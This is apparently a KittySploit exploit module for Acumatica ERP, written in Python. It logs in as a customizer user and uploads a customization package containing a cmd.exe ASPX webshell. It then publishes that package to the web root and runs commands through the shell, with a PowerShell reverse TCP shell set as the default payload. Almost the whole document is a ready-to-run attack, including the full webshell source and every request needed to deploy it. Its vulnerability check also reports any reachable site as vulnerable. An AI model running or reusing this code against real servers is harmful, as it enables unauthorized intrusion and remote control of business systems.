Acumatica customization publish webshell RCE

"""Acumatica authenticated customization import/publish → ASPX webshell RCE."""
from __future__ import annotations
import base64
import io
import json
import time
import urllib.parse
import zipfile
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Acumatica customization publish webshell RCE', 'description': 'Customizer-role user imports a ZIP via CustomizationApi/import, publishBegin/End, writes Pages/*.aspx to IIS webroot; invoke with ?c= (set payload for cmd.exe).', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': ['https://0day-rubbish.com/blog/acumatica-customization-webshell-rce'], 'tags': ['acumatica', 'customization', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 6, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/acumatica_customization_rce_detect']}}}
    DEFAULT_PROJECT = 'AcuRceTest2'
    DEFAULT_SHELL = 'acu_shell.aspx'
    DEFAULT_APP_PATH = 'Pages\\acu_shell.aspx'
    DEFAULT_WAIT_PUBLISH = 95
    UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    port = OptPort(443, 'Acumatica HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'Acumatica user (Customizer role)', required=True)
    password = OptString('', 'Acumatica password', required=True)
    tenant = OptString('', 'Optional instance path prefix (e.g. /MyInstance)', required=False)
    project_name = OptString(DEFAULT_PROJECT, 'Customization project name', required=False)
    shell_name = OptString(DEFAULT_SHELL, 'Published ASPX file name', required=False)
    app_relative_path = OptString(DEFAULT_APP_PATH, 'AppRelativePath in project.xml (must match zip entry)', required=False)
    wait_publish_sec = OptInteger(DEFAULT_WAIT_PUBLISH, 'Seconds to wait after publishBegin', required=False)
    api_prefix = OptString('/CustomizationApi', 'Customization API prefix', required=False)

    def _build_customization_zip(self, app_path: str, project: str) -> bytes:
        file_name_in_zip = app_path.replace('\\', '/')
        project_xml = '<?xml version="1.0" encoding="utf-8"?>\n<Customization level="1" description="x" product-version="26.1">\n  <File AppRelativePath="%s" FileName="%s" />\n</Customization>\n' % (app_path, file_name_in_zip)
        webshell = b'<%@ Page Language="C#" EnableTheming="false" StylesheetTheme="" Theme="" %>\n<%@ Import Namespace="System.Diagnostics" %>\n<head runat="server"></head>\n<script runat="server">\nvoid Page_Load(object sender, System.EventArgs e){\n  Response.Clear();\n  string c = Request.QueryString["c"];\n  if(string.IsNullOrEmpty(c)){ Response.Write("ACU_SHELL_OK"); Response.End(); return; }\n  try{\n    var psi = new ProcessStartInfo("cmd.exe", "/c " + c){\n      UseShellExecute=false, RedirectStandardOutput=true, RedirectStandardError=true, CreateNoWindow=true\n    };\n    var p = Process.Start(psi);\n    string o = p.StandardOutput.ReadToEnd();\n    string er = p.StandardError.ReadToEnd();\n    p.WaitForExit();\n    Response.Write(o + er);\n    Response.End();\n  }catch(Exception ex){ Response.Write("ERR:" + ex.Message); Response.End(); }\n}\n</script>'
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr('project.xml', project_xml.encode('utf-8'))
            zf.writestr(file_name_in_zip, webshell)
        return buf.getvalue()

    def _prefix(self) -> str:
        base = str(self.tenant or '').strip().rstrip('/')
        if base and (not base.startswith('/')):
            base = '/' + base
        return base

    def _api(self, suffix: str) -> str:
        api = str(self.api_prefix or '/CustomizationApi').rstrip('/')
        if not api.startswith('/'):
            api = '/' + api
        return self._prefix() + api + suffix

    def _shell_url_path(self) -> str:
        app = str(self.app_relative_path or self.DEFAULT_APP_PATH).replace('\\', '/')
        if not app.startswith('/'):
            app = '/' + app
        return self._prefix() + app

    def _login(self) -> bool:
        body = {'name': str(self.username or ''), 'password': str(self.password or '')}
        resp = self.http_request('POST', self._prefix() + '/entity/auth/login', data=json.dumps(body), headers={'Content-Type': 'application/json', 'User-Agent': self.UA})
        if resp and int(resp.status_code or 0) in (200, 204):
            return True
        return False

    def _import_project(self, zip_bytes: bytes) -> tuple[int, str]:
        payload = {'projectLevel': 1, 'isReplaceIfExists': True, 'projectName': str(self.project_name or self.DEFAULT_PROJECT), 'projectDescription': 'KittySploit customization import', 'projectContentBase64': base64.b64encode(zip_bytes).decode('ascii')}
        resp = self.http_request('POST', self._api('/import'), data=json.dumps(payload), headers={'Content-Type': 'application/json', 'User-Agent': self.UA})
        if not resp:
            return (-1, 'import failed')
        return (int(resp.status_code or 0), (resp.text or '')[:400])

    def _publish_begin(self) -> tuple[int, str]:
        payload = {'isMergeWithExistingPackages': False, 'isOnlyValidation': False, 'projectNames': [str(self.project_name or self.DEFAULT_PROJECT)], 'tenantMode': 'Current'}
        resp = self.http_request('POST', self._api('/publishBegin'), data=json.dumps(payload), headers={'Content-Type': 'application/json', 'User-Agent': self.UA})
        if not resp:
            return (-1, 'publishBegin failed')
        return (int(resp.status_code or 0), (resp.text or '')[:400])

    def _publish_end_once(self) -> tuple[int, str]:
        resp = self.http_request('POST', self._api('/publishEnd'), data='{}', headers={'Content-Type': 'application/json', 'User-Agent': self.UA})
        if not resp:
            return (-1, '')
        return (int(resp.status_code or 0), (resp.text or '')[:400])

    def execute(self, shell: str) -> str:
        if not self._login():
            return 'Login to /entity/auth/login failed — check credentials and tenant path'
        app_path = str(self.app_relative_path or self.DEFAULT_APP_PATH)
        if str(self.shell_name or self.DEFAULT_SHELL) not in app_path.replace('/', '\\'):
            app_path = 'Pages\\' + str(self.shell_name or self.DEFAULT_SHELL)
        zip_bytes = self._build_customization_zip(app_path, str(self.project_name or self.DEFAULT_PROJECT))
        imp_code, imp_body = self._import_project(zip_bytes)
        if imp_code not in (200, 204):
            return f'CustomizationApi/import HTTP {imp_code}: {imp_body!r}'
        pub_code, pub_body = self._publish_begin()
        if pub_code not in (200, 204):
            return f'publishBegin HTTP {pub_code}: {pub_body!r}'
        wait = int(self.wait_publish_sec or self.DEFAULT_WAIT_PUBLISH)
        time.sleep(min(wait, 120))
        end_code, end_body = self._publish_end_once()
        shell_path = self._shell_url_path()
        query = urllib.parse.urlencode({'c': shell})
        exec_resp = self.http_request('GET', shell_path + '?' + query, headers={'User-Agent': self.UA})
        exec_snip = (exec_resp.text or '')[:300] if exec_resp else ''
        exec_code = int(exec_resp.status_code or 0) if exec_resp else -1
        return f'import HTTP {imp_code}; publishBegin HTTP {pub_code}; publishEnd HTTP {end_code} ({end_body[:120]!r}); GET {shell_path} HTTP {exec_code}: {exec_snip!r}'

    def check(self):
        resp = self.http_request('GET', self._prefix() + '/', headers={'User-Agent': self.UA})
        if resp and int(resp.status_code or 0) < 500:
            body = (resp.text or '').lower()
            if 'acumatica' in body:
                return {'vulnerable': True, 'reason': 'Acumatica fingerprint', 'confidence': 'medium'}
            return {'vulnerable': True, 'reason': 'HTTP site reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Site not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set Acumatica password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Customization import → publish → ASPX ?c=')
        print_info(self.execute(shell))
        self.vulnerable()
        return True